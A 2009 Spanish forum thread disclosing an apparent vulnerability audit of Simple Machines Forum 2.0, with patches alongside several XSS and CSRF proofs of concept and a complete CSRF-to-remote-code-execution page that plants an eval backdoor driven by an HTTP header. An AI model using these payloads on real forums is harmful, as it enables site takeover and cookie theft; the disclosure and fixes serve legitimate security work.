elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
31 Julio 2010, 08:05  


Temas destacados: ¿Cómo iniciarse en la Electrónica?



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Auditoría de seguridad hacia Simple Machines Forum 2.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Imprimir
Autor Tema: Auditoría de seguridad hacia Simple Machines Forum 2.0  (Leído 8648 veces)
WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
Auditoría de seguridad hacia Simple Machines Forum 2.0
« en: 18 Octubre 2009, 23:13 »



Proyecto SimpleAudit 2.0

Es un proyecto destinado a realizar auditorías de seguridad a nivel WEB hacia el software de SMF 2.0 (Simple Machines Forum) con la finalidad de que sus desarrolladores puedan crear cada dia un software mas robusto y seguro.



Integrantes - (participando en el proyecto)

Colaboradores (forman parte del proyecto pero necesitaran encontrar algo antes de tener acceso al resto de los reportes):



Vulnerabilidades encontradas
45
(40 reportadas + 0 notificadas + 5 privadas)
Último disclosure: 1 de diciembre
Próximo disclosure: 1 de enero

Backdoors encontrados
1




Todos los resultados se irán mostrando en este lugar con todos sus detalles.

Si tienes algún comentario, pregunta, aporte o lo que necesites compartir puedes hacerlo en este post:
http://foro.elhacker.net/nivel_web/proyecto_de_auditoria_a_smf_20_laboratorio_de_bugsnivel_web-t271095.0.html

Si hay algúna vulnerabilidad o bug que no aparece en este lugar es porque todavía se mantiene en privado hasta cumplirse el plazo estimado para su posible reparación o publicación futura.



Puedes seguir la auditoría en Twitter:
http://twitter.com/simpleaudit

Además en FeedBurner:
Código
<a href="http://twitter.com/simpleaudit">
http://feeds.feedburner.com/Twitter/Simpleaudit.gif
</a>



Meneame:
http://meneame.net/story/localizaron-mas-40-bugs-auditoria-smf-2.0
« Última modificación: 02 Diciembre 2009, 09:47 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
Re: Auditoría de seguridad hacia Simple Machines Forum 2.0
« Respuesta #1 en: 10 Noviembre 2009, 08:15 »

En este hilo se irán poniendo las vulnerabilidades hechas públicas.

El recopilatorio quedará en el primer post.



Hasta al momento la auditoría ha sido todo un éxito.
En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
Re: Auditoría de seguridad hacia Simple Machines Forum 2.0
« Respuesta #2 en: 17 Noviembre 2009, 04:39 »

Ya se enviaron todas las vulnerabilidades encontradas. El dia 30 de noviembre serán publicadas acá lo hayan reparado o no.
En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
XSS en el input "Sitio WEB" dentro del perfil de usuario
« Respuesta #3 en: 30 Noviembre 2009, 09:16 »

Detalles
Descripción:XSS en el input "Sitio WEB" dentro del perfil de usuario
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Profile-Modify.php:802
URL Vulnerable:N/A
PoC:‭‬‭‬ ‭‬‭‬‭‬javascript:alert(document.cookie);//http://xx
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

La vulnerabilidad se localiza en el archivo Sources/Profile-Modify.php
Linea 802
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Profile-Modify.php#802
Código
if (strlen(trim($value)) > 0 && strpos($value, \'://\') === false)
$value = \'http://\' . $value;

Ya que permite la inyección de código arbitrario debido a que verifica
únicamente que contenga los carácteres "://" pero no indicaron en que
posición del string debería estar por lo cual puedes escribir "://" al
final del código inyectado encapsulandolo en un comentario tal como el
siguiente ejemplo.

PoC:
En el perfil de tu usuario pon lo siguiente en el input de "Website URL"
‭‬‭‬‭‬‭‬‭‬javascript:alert(document.cookie);//http://xx


Solución

Código original de SMF 1.1.10 en Sources/Profile.php linea 602
Código
// Fix the URL...
if (isset($_POST['websiteUrl']))
{
if (strlen(trim($_POST['websiteUrl'])) > 0 && strpos($_POST['websiteUrl'], '://') === false)
$_POST['websiteUrl'] = 'http://' . $_POST['websiteUrl'];
if (strlen($_POST['websiteUrl']) < 8)
$_POST['websiteUrl'] = '';
}
 

reemplazar por
Código
if($_POST['websiteUrl']){
$permitidos = array('http', 'https', 'ftp', 'ftps');
$protocolo = @explode('://', $_POST['websiteUrl']);
$protocolo = $protocolo[0];
foreach($permitidos as $permitido){
 if(strtolower($protocolo) == strtolower($permitido)){
  $valido = true;
  break;
 }
}
/* La url comienza con un protocolo no válido */
if(!$valido)
 $_POST['websiteUrl'] = 'http://'.$_POST['websiteUrl'];
unset($permitidos, $permitido, $protocolo, $valido); /* Libera memoria */
 
/* Elimina urls no válidas */
if(strlen($_POST['websiteUrl']) < 8)
 unset($_POST['websiteUrl']);
}

Código original de SMF 2.0 RC2 en Sources/Profile-Modify.php linea 753
Código
// Fix the URL...
'input_validate' => create_function('&$value', '
 
if (strlen(trim($value)) > 0 && strpos($value, \'://\') === false)
$value = \'http://\' . $value;
if (strlen($value) < 8)
$value = \'\';
return true;
'
),

Reemplazar por
Código
// Parche - Fix the URL...
'input_validate' => create_function('&$value', '
if($_POST["websiteUrl"]){
$permitidos = array("http", "https", "ftp", "ftps");
$protocolo = @explode("://", $_POST["websiteUrl"]);
$protocolo = $protocolo[0];
foreach($permitidos as $permitido){
 if(strtolower($protocolo) == strtolower($permitido)){
  $valido = true;
  break;
 }
}
 
/* La url comienza con un protocolo no válido */
if(!$valido)
 $_POST["websiteUrl"] = "http://".$_POST["websiteUrl"];
unset($permitidos, $permitido, $protocolo, $valido); /* Libera memoria */
 
/* Elimina urls no válidas */
if(strlen($_POST["websiteUrl"]) < 8)
 unset($_POST["websiteUrl"]);
}
'
),
« Última modificación: 02 Diciembre 2009, 20:41 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
Código de ejecución remota PHP
« Respuesta #4 en: 30 Noviembre 2009, 09:21 »

Detalles
Descripción:Código de ejecución remota PHP
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/ManageServer.php:1298
URL Vulnerable:Themes/default/languages/index.english.php
PoC:‭‬en_US\\\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} //
Afecta a:‭‬SMF 2.0 RC2


Descripción

La vulnerabilidad se localiza en el archivo Sources/ManageServer.php desde
la linea 1298
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1298
Código
$replace_array = array(
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';',
'~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
'~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
'~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
'~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
);

y el problema esque SMF filtra de mala forma los carácteres especiales que pueden ser incluidos ya que aunque procesan via addslashses el preg_replace los omite como si fueran parte de la misma expresión regular.

Si vamos a la sección
Configuraciones->Lenguajes->Editar lenguajes
Podemos ver el listado de lenguajes, si le haces click sobre cualquier
lenguaje irás directamente a su edición y podrás notar dos cosas.

1. Al enviarte a esa sección puedes ver que te adjunta un token a la url
para evitar un ataque de tipo CSRF pero si se lo eliminas puedes ver que la
sección se visualiza de igual forma, por lo tanto si actualizamos las
configuraciones sin enviar el token vemos que se guarda igual.
En SMF hay muchas funciones y secciones que aparentemente se ve un token
pero no las usa. Este es un CSRF de ejecución de comando arbitrario
primeramente ya que un atacante remoto puede engañar al administrador
haciendo que visualize una web especialemnte preparada para el ataque y
modificar las configuraciones a gusto.

2. Si haces algún cambio en cualquier input y le das en guardar lo que hace
SMF no es guardar los valores en la base de datos sino sobreescribir
directamente el archivo de elnguajes del theme utilizado por lo tanto lo
que escribas de configuración se verá en el archivo principal de lenguaje
del theme.

3. El bug consiste principalmente en que SMF no filtra adecuadamente estos
inputs. Originalemnte en el archivo
Themes/default/languages/index.english.php dice así:
Código
$txt['lang_locale'] = 'en_US';
$txt['lang_dictionary'] = 'en';
$txt['lang_spelling'] = 'american';

Si intentamos escribir una comilla simple SMF le agrega un slash intentando
invalidar la inyección de código pero no filtra adecuadamente el carácter
"\" por lo tanto cuando insertamos una comilla el código queda así:
Código
$txt['lang_locale'] = 'en_US\'test';
por lo tanto aplicamos bypass y escribimos "\'" para que quede así:
Código
$txt['lang_locale'] = 'en_US\\'test';
Por lo tanto el primer slash invalida el segundo transformandolo en un
string y validando la comilla simple, luego de eso inyectamos nuestro
código arbitrario sin comillas y cerramos con un cmentario para invalidar
el resto de la linea y evitar que se produzca un error.
Por ejemplo "\';phpinfo();//" quedaría:
Código
$txt['lang_locale'] = 'en_US\\';phpinfo();//';
ejecutando el código de forma arbitraria y remota gracias a la falta de
token (CSRF).

PoC:
Código
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
 <title>:O</title>
</head>
<?php
/*
Prueba de concepto. Auditoría a SMF 2.0 de parte del grupo de auditores de Elhacker.Net
https://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html
*/

/* Configuraciones */
$foro_vulnerable = '';
 
if($_GET['act'] == 'frame'){
?>
<script>
 function ejecutar(){
  document.getElementById('payload').value = 'en_US\\\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} //';
  document.getElementById('form').submit();
 }
</script>
<body onload="ejecutar();">
 <form id="form" method="post" action="<?php echo $foro_vulnerable; ?>index.php?action=admin;area=languages;sa=editlang;lid=english">
  <input type="hidden" name="character_set" value="ISO-8859-1" />
  <input type="hidden" name="locale" id="payload" value="" />
  <input type="hidden" name="dictionary" value="en" />
  <input type="hidden" name="spelling" value="american" />
  <input type="hidden" name="save_main" value="Save" />
 </form>
</body>
<?php }else{ ?>
<body style="text-align: center;">
 <h2 style="font-weight: bold; text-decoration: underline;">
  Prueba de concepto
 </h2>
 <hr />
 <div style="text-align: center;">
  <img width="400" height="322" src="http://i207.photobucket.com/albums/bb73/moonlightj/HQczsxCxHV_nooooooo-i-cant-has-pres.jpg" />
  <img width="400" height="322" src="http://i492.photobucket.com/albums/rr283/Hoodano12/n1559202619_124094_6213.jpg" />
 </div>
 <hr />
 <img src="http://th40.photobucket.com/albums/e245/abbbies/th_scream.jpg" />
 <img src="http://th39.photobucket.com/albums/e156/kimtisha/th_AUG2008011bw.jpg" />
 <img src="http://th132.photobucket.com/albums/q9/PhilVassar/th_MarissaFile.jpg" />
 <img src="http://th873.photobucket.com/albums/ab296/jrvohler/th_no.jpg" />
 <img src="http://th306.photobucket.com/albums/nn256/s13vin4t0r/th_BSODGATES.jpg" />
 <img src="http://th296.photobucket.com/albums/mm194/Spalders/th_nooooooo-not-the-bafftub.jpg" />
 <img src="http://th233.photobucket.com/albums/ee182/vinayg18/blog/th_scary_hillary_clinton.jpg" />
 <img src="http://th732.photobucket.com/albums/ww321/TSCC_Munter/th_nooooooo.jpg" />
 <img src="http://th617.photobucket.com/albums/tt254/webrougt97/th_fred14.jpg" />
 <img src="http://th257.photobucket.com/albums/hh209/Arganaut/th_Desecration_by_Louieville_XXIII.jpg" />
 <img src="http://th4.photobucket.com/albums/y142/Tornadopotato/Photos/th_100_2521.jpg" />
 <hr />
 <iframe style="visibility: hidden; position: absolute; top:0px; left: 0px;" src="<?php echo $_SERVER['SCRIPT_URI']; ?>?act=frame"></iframe>
</body>
<?php } ?>
</html>

1. Ingresar como administrador al foro de pruebas
2. Modificar el archivo donde dice $foro_vulnerable=''; escribiendo la
dirección del foro sin el index.php.
3. Visualizar el archivo

Luego que visualizes el archivo tu foro se habrá infectado y a la vista de
todos no se verá absolutamente nada. Para su ejecución debes enviar un
header desde tu explorador con la variable "Exec" mas su ejecución, como
por ejemplo "Exec: phpinfo();" ya que el payload de la prueba de concepto
es la siguiente:
Código
en_US\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} //

Entonces se le agregará el slash a la comilla y el slash puesto con anterioridad no será modificado quedando un \\' invalodando el slash que invalidaba a la comilla.


Solución

Código original de SMF 2.0 RC2 en Sources/ManageServer.php linea 1298
Código
$replace_array = array(
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';',
'~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
'~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
'~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
'~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
);

Debe ser reemplazado por
Código
$replace_array = array(
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['character_set'])) . '\';',
'~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['locale'])) . '\';',
'~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['dictionary'])) . '\';',
'~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['spelling'])) . '\';',
'~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
);
« Última modificación: 01 Diciembre 2009, 00:16 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
CSRF en el cambio del theme
« Respuesta #5 en: 30 Noviembre 2009, 18:26 »

Detalles
Descripción:CSRF en el cambio del theme
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Load.php:1324
URL Vulnerable:index.php?theme=2
PoC:‭‬index.php?theme=2
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

Normalmente cuando uno desea cambiar de theme lo hace en las preferencias
de diseño del perfil de cada usuario incluyendo un token para evitar CSRF
aunque no sirve de mucho ya que puedes ejecutar un cambio de theme de forma
forzada gracias a una vulnerabilidad alojada en el archivo Sources/Load.php
linea 1245
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Load.php#1245

Código
elseif (!empty($_REQUEST['theme']) && (!empty($modSettings['theme_allow']) || allowedTo('admin_forum')))
{
$id_theme = (int) $_REQUEST['theme'];
$_SESSION['id_theme'] = $id_theme;
}

haciendo un csrf persistente ya que el id de theme lo almacena directamente
en la cookie de sesión del usuario o visitante.

Prueba de concepto:
http://localhost/smf/index.php?theme=2


Solución

Código original de SMF 2.0 RC2 en Sources/Load.php linea 1324
Código
elseif (!empty($_REQUEST['theme']) && (!empty($modSettings['theme_allow']) || allowedTo('admin_forum')))
{
$id_theme = (int) $_REQUEST['theme'];
$_SESSION['id_theme'] = $id_theme;
}

Reemplazar por
Código
/*
elseif (!empty($_REQUEST['theme']) && (!empty($modSettings['theme_allow']) || allowedTo('admin_forum')))
{
$id_theme = (int) $_REQUEST['theme'];
$_SESSION['id_theme'] = $id_theme;
}
*/

Hay que recordar que este cambio imposibilita el cambio de theme directamente obligando a utilizar la opción del perfil si alguien lo desea.
Esto no es una feature debido a que supuestamente solamente el administrador puede utilizar este tipo de visualizaciones sin tocken pero al fallar las condiciones hace posible que esta acción sea ejecutable a todo usuario y ni aun asi debería crearse al propio administrador.
O se elimina o se pone token.
« Última modificación: 01 Diciembre 2009, 01:12 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
CSRF en el colapso de categorias
« Respuesta #6 en: 30 Noviembre 2009, 18:44 »

Detalles
Descripción:CSRF en el colapso de categorias
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/BoardIndex.php:130
URL Vulnerable:index.php?action=collapse;c=1;sa=collapse
PoC:‭‬index.php?action=collapse;c=1;sa=collapse
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

La falla se encuentra en el archivo Sources/BoardIndex.php desde la linea
130 hasta la 150 en la función llamada "CollapseCategory" ya que al
solicitar una petición de colapso de un foro no nos pide como requsito un
token o algo que lo impida, por lo tanto desde un siomple csrf podemos
causar el colapso total de foros en la visualización inicial de la portada
del foro.

Aunque no es una vulnerabilidad que pueda comprometer al foro si es
bastante molesta y smf no debería permitir este tipo de acciones de forma
arbitraria.

Prueba de concepto:
http://localhost/smf2.0/index.php?action=collapse;c=1;sa=collapse
donde c=1 es la variable con el id de grupos de foros.


Solución

Modificar la categoría de la sección y darle click donde dice "no colapsable" mientras que simplemachines da una solución oficial ya que hay que agregar el tocken a todos sus themes y al sistema propio.
« Última modificación: 01 Diciembre 2009, 01:19 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
CSRF en el gestor de servidores de paquetes
« Respuesta #7 en: 30 Noviembre 2009, 18:48 »

Detalles
Descripción:CSRF en el gestor de servidores de paquetes
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Packages.php:1189
URL Vulnerable:http://127.0.0.1/smf_2/index.php?action=admin;area=packages;get;sa=remove;server=1
 
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

La vulnerabilidad consiste en que puedes remover servdiores de
actualizaciones y paquetes de forma arbitraria debido a que esta acción no
solicita un token o algún tipo de verificación que lo impida:

Prueba de concepto:
http://127.0.0.1/smf_2/index.php?action=admin;area=packages;get;sa=remove;server=1
Con esto podemos hacer que el administrador elimine de forma arbitraria el
primero servidor en la lista de servidores de paquetes.
Hay que recordar que esta acción solo la puede ejecutar un administrador
por lo tanto es necesario que alguien con este tipo de derechos sobre el
foro pueda ejecutar tu csrf desde alguna imagen en tu perfil reireccionada
o desde alguna web externa.

La falla se localiza en el archivo Sources/PackageGet.php linea 740
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/PackageGet.php#740

No hay token por ningún lado de la función.
« Última modificación: 02 Diciembre 2009, 03:41 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
XSS en la sección de administración de servidores de mods
« Respuesta #8 en: 30 Noviembre 2009, 18:53 »

Detalles
Descripción:XSS en la sección de administración de servidores de mods
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/PackageGet.php:732
URL Vulnerable:index.php?action=packageget
PoC:Agregar un servidor con nombre: <h1>XSS</h1>
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

La falla está en el archivo Sources/PackageGet.php linea 732
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/PackageGet.php#732

Donde la función "PackageServerAdd" actualiza el string del nombre del
servidor en la base de datos sin ser filtrada de ninguna forma.

Prueba de concepto:
http://127.0.0.1/smf_2/index.php?action=admin;area=packages
Donde dice "Add server" en el input del nombre del servidor pongan <h1>XSS</h1>
« Última modificación: 02 Diciembre 2009, 03:44 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
Eliminación arbitraria y Disclosure de paquetes instalados
« Respuesta #9 en: 30 Noviembre 2009, 18:58 »

Detalles
Descripción:Eliminación arbitraria y Disclosure de paquetes instalados
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Packages.php:1189
URL Vulnerable:/index.php?action=admin;area=packages;sa=remove;package=.htaccess
Afecta a:‭‬SMF 2.0 RC2


Descripción

El problema está en el archivo Sources/Packages.php Linea 1189 en la
función PackageRemove ya que primeramente no solicita ningún token por lo
tanto es vulnerable a un ataque de tipo CSRF.
El segundo caso es que en esta linea:
Código
	// Ack, don't allow deletion of arbitrary files here, could become a
security hole somehow!
if (!isset($_GET['package']) || $_GET['package'] == 'index.php' ||
$_GET['package'] == 'installed.list')
redirectexit('action=admin;area=packages;sa=browse');

impiden la eliminación local de archivos pero no incluyeron el ".htaccess"
por lo cual puedes eliminarlo de forma arbitraria y observar el listado de
paquetes.

Pruebas de concepto:
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=remove;package=paquete.zip
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=remove;package=.htaccess

Nota de sirdarckcat
Citar
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1196
Al parecer..
Código
$_GET['package'] = preg_replace('~[\.]+~', '.', strtr($_GET['package'], '/', '_'));

no podemos poner "..", lo del disclosure que dice whk es que sin el htaccess ahora
podemos leer installed.list y bajar los paquetes y demas
« Última modificación: 02 Diciembre 2009, 03:45 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
CSRF en la configuración de archivos adjuntos
« Respuesta #10 en: 30 Noviembre 2009, 19:04 »

Detalles
Descripción:CSRF en la configuración de archivos adjuntos
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/ManageAttachments.php:117 y 162
URL Vulnerable:/index.php?action=admin;area=manageattachments;sa=attachments
PoC:POST:
attachmentEnable=1&attachmentExtensions=com%2Cexe%2Cphp5%2Cphp4%2Cconf%2Ccfg%2Cini%2Chtaccess%2Cphp&attachmentUploadDir=%2Fopt%2Flampp%2Fhtdocs%2Fsmf_2%2Fattachments&attachmentDirSizeLimit=10240&attachmentPostLimit=192&attachmentSizeLimit=128&attachmentNumPerPostLimit=4&attachmentShowImages=1&attachmentThumbnails=1&attachmentThumbWidth=150&attachmentThumbHeight=150
Afecta a:‭‬SMF 2.0 RC2


Descripción

La vulnerabilidad se trata de que puedes ejecutar modificaciones en el
panel de administración de forma arbitraria en la sección de configuración
de archivos adjuntos:
http://localhost/smf2.0/index.php?action=admin;area=manageattachments;sa=attachments
aunque lo extraño es que SMF si integra el token pero al enviar la petición
sin el nos encontramos que se ejecuta de igual forma.

La falla está en el archivo Sources/ManageAttachments.php linea 117 desde
donde se llaman a las funciones desde
Código
// Finally fall through to what we are doing.
$subActions[$context['sub_action']]();

y la linea 162 a la209 que es la función llamada y desde que inicia el
proceso hasta que fiinaliza no se solicita ningún tipo de token.

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageAttachments.php#117
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageAttachments.php#162

Prueba de concepto
Código
yan@Lola:~$ nc -v 127.0.0.1 80
POST
/smf_2/index.php?action=admin;area=manageattachments;save;sa=attachments
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5)
Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer:
http://127.0.0.1/smf_2/index.php?action=admin;area=manageattachments;sa=attachments
Cookie: PHPSESSID=[Cookie acá]
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
 
attachmentEnable=1&attachmentExtensions=com%2Cexe%2Cphp5%2Cphp4%2Cconf%2Ccfg%2Cini%2Chtaccess%2Cphp&attachmentUploadDir=%2Fopt%2Flampp%2Fhtdocs%2Fsmf_2%2Fattachments&attachmentDirSizeLimit=10240&attachmentPostLimit=192&attachmentSizeLimit=128&attachmentNumPerPostLimit=4&attachmentShowImages=1&attachmentThumbnails=1&attachmentThumbWidth=150&attachmentThumbHeight=150
« Última modificación: 02 Diciembre 2009, 03:45 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
XSS en "Enable basic HTML in posts"
« Respuesta #11 en: 30 Noviembre 2009, 19:35 »

Detalles
Descripción:XSS en "Enable basic HTML in posts"
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:<img src="http:// alt="x http://www.google.com/onerror=alert(1)// x">
Afecta a:‭‬SMF 2.0 RC2


Descripción

De acuerdo con SMF,
Citar
This will allow the posting of some basic HTML tags:

    * <b>, <u>, <i>, <s>, <em>, <ins>, <del>
    * <a href="">
    * <img src="" alt="" />
    * <br />, <hr />
    * <pre>, <blockquote>

Pero se puede hacer XSS con:
Código
<img src="http:// alt="x http://www.google.com/onerror=alert(1)// x">

Saludos!!
« Última modificación: 02 Diciembre 2009, 03:46 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
Remote File Disclosure (solo en logs, y similares)
« Respuesta #12 en: 30 Noviembre 2009, 19:46 »

Detalles
Descripción:Remote File Disclosure (solo en logs, y similares)
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==
PoC:Obligando a que la página se muestre como una CSS se le permita leer su contenido.
Afecta a:‭‬SMF 2.0 RC2


Descripción

Hay una vulnerabilidad en la manera en la que el lector de logs funciona:
index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==

Un atacante podria crear una serie de peticiones para crear una aparente
hoja de estilo valida, y asi capturar en IE toda la informacion que sigue
despues de cierta linea.
« Última modificación: 02 Diciembre 2009, 03:47 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
CSRF en las preferencias de moderación
« Respuesta #13 en: 30 Noviembre 2009, 19:53 »

Detalles
Descripción:RCSRF en las preferencias de moderación
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=moderate;area=settings
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2


Descripción

Las configuraciones en:
index.php?action=moderate;area=settings

Tienen token pero no lo validan.
« Última modificación: 02 Diciembre 2009, 03:47 por WHK » En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
XSS en el censurador de palabras
« Respuesta #14 en: 30 Noviembre 2009, 19:58 »

Detalles
Descripción:XSS en el censurador de palabras
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=postsettings;sa=censor
PoC:[ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ]
[ testing-xss-sdc-2 ] => [ " onerror="alert(1) ]
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

Todos los que tengan acceso al area del censurador:
index.php?action=admin;area=postsettings;sa=censor

Pueden hacer XSS en cualquier parte del foro...
PoC:

Ponga la palabra a ser censurada a la izquierda, y el reemplazo a la derecha.

[ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ]
[ testing-xss-sdc-2 ] => [ " onerror="alert(1) ]
« Última modificación: 02 Diciembre 2009, 03:48 por WHK » En línea

Páginas: [1] 2 3 Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil    Juegos de Mario

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC